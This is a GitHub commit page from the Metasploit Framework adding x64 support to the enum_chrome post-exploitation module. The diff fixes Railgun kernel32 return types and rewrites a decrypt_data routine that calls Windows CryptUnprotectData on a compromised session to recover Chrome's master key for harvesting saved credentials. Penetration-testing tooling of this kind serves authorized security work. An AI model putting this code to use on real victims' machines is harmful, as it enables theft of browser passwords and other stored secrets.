Skip to content

Commit 7f8da5a

Browse files
authored
Land #18558, Support x64 in enum_chrome
2 parents 86281e8 + 13ae9fc commit 7f8da5a

File tree

2 files changed

+20
-22
lines changed

2 files changed

+20
-22
lines changed

lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2300,7 +2300,7 @@ def self.create_library(constant_manager, library_path = 'kernel32')
23002300
["HANDLE","hResInfo","in"],
23012301
])
23022302

2303-
dll.add_function( 'LocalAlloc', 'DWORD',[
2303+
dll.add_function( 'LocalAlloc', 'HANDLE',[
23042304
["DWORD","uFlags","in"],
23052305
["DWORD","uBytes","in"],
23062306
])
@@ -2318,7 +2318,7 @@ def self.create_library(constant_manager, library_path = 'kernel32')
23182318
["HANDLE","hMem","in"],
23192319
])
23202320

2321-
dll.add_function( 'LocalFree', 'DWORD',[
2321+
dll.add_function( 'LocalFree', 'HANDLE',[
23222322
["HANDLE","hMem","in"],
23232323
])
23242324

modules/post/windows/gather/enum_chrome.rb

Lines changed: 18 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -128,33 +128,31 @@ def get_master_key(local_state_path)
128128
end
129129

130130
def decrypt_data(data)
131-
memsize = 1024 * ((data.length + 1023) / 1024)
132-
mem_alloc = session.railgun.kernel32.LocalAlloc(0, data.length)
133-
mem = mem_alloc['return']
131+
mem = session.railgun.kernel32.LocalAlloc(0, data.length)['return']
132+
return nil if mem == 0
133+
134134
session.railgun.memwrite(mem, data, data.length)
135135

136-
if session.arch == 'x86'
137-
addr = [mem].pack('V')
138-
len = [data.length].pack('V')
139-
pdatain = "#{len}#{addr}".force_encoding('ascii')
140-
ret = session.railgun.crypt32.CryptUnprotectData(pdatain, 16, nil, nil, nil, 0, 8)
141-
len, addr = ret['pDataOut'].unpack('V2')
136+
if session.arch == ARCH_X86
137+
inout_fmt = 'V2'
138+
elsif session.arch == ARCH_X64
139+
inout_fmt = 'Q2'
142140
else
143-
addr = [mem].pack('Q')
144-
len = [data.length].pack('Q')
145-
pdatain = "#{len}#{addr}".force_encoding('ascii')
146-
ret = session.railgun.crypt32.CryptUnprotectData(pdatain, 16, nil, nil, nil, 0, 16)
147-
len, addr = ret['pDataOut'].unpack('Q2')
141+
fail_with(Failure::NoTarget, "Session architecture must be either x86 or x64.")
148142
end
149143

150-
return nil if len == 0
144+
pdatain = [data.length, mem].pack(inout_fmt)
145+
ret = session.railgun.crypt32.CryptUnprotectData(pdatain, nil, nil, nil, nil, 0, pdatain.length)
146+
len, addr = ret['pDataOut'].unpack(inout_fmt)
151147

152-
decrypted = session.railgun.memread(addr, len)
148+
decrypted = len == 0 ? nil : session.railgun.memread(addr, len)
153149

154-
session.railgun.kernel32.LocalFree(mem)
155-
session.railgun.kernel32.LocalFree(addr)
150+
multi_rail = []
151+
multi_rail << ['kernel32', 'LocalFree', [mem]]
152+
multi_rail << ['kernel32', 'LocalFree', [addr]] if addr != 0
153+
session.railgun.multi(multi_rail)
156154

157-
return decrypted
155+
decrypted
158156
end
159157

160158
def process_files(username)
@@ -197,7 +195,7 @@ def process_files(username)
197195
local_state_path = @profiles_path + '\\' + username + @data_path + 'Local State'
198196
masterkey_encrypted = get_master_key(local_state_path)
199197
masterkey = decrypt_data(masterkey_encrypted[5..])
200-
print_good('Found masterkey!')
198+
print_good('Found masterkey!') if masterkey
201199
end
202200

203201
cipher = OpenSSL::Cipher.new('aes-256-gcm')

0 commit comments

Comments
 (0)